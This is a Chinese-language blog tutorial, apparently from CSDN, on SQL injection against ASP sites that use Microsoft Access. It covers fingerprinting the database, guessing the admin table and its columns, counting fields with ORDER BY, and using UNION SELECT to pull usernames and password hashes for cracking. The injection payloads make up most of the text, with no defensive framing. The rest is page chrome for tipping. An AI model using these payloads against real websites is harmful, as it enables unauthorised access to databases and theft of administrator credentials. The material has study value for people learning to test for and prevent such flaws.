sql注入(Access)

access网站注入

- 测试网站:

http://www.xxxx.com/news_view.asp?ClassID=1&newsid=60

- 注入步骤:

1.判断网站是否为access数据库

常用方法:
  • 1)and (select count() from sysobjects)>0* 不报错则为SQL表
    and (select count() from msysobjects)>0* 不报错则为access

    2)在地址栏上显示的连接所带的参数后面加些特殊符号,看它的报错信息,如 http://www.**.com?id=1’
    则回返回错误,如果是Microsoft JET Database
    Engine错误’80040e14’的话,则说明网站所用的数据库是Access数据库。

    3)如果目标数据库同时支持len函数和chr函数,且不支持length和char函数,则很可能是Access数据库。在不返回报错信息的情况下,这种方式是我最常用的。

2.查询数据库中有那些表

在URL后加上 and exists (select * from admin) //(这里不用让其报错)
admin为猜测的表名 ,可替换为user,username,adminuser,admin_user 等
在这里插入图片描述
这里返回正常页面,说明存在表admin

3.猜测表中字段

在URL后面加 and exists (select user/admin/password… from admin)
分别判断admin表中是否含有user ,admin, password等

在这里插入图片描述
password和username字段存在

4.获取字段数,并判断数字几存在返回点(联合查询)

  • 判断字段数:

    URL + order by 数字
    在这里插入图片描述
    当测试当11时返回错误,说明字段长为10

  • 判断返回点

    union select 1,2,3,4,5,6,7,8,9,10 from admin (这里需要URL的id改为-60让其报错)
    在这里插入图片描述
    判断出4和5存在返回点

5.联合查询,查询用户密码,账号

使用第3步中获取的用户名,密码
union select 1,2,3,username,password,6,7,8,9,10 from admin

在这里插入图片描述
至此获取了账户和未解密的密码(密码需在sodm5中解密)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值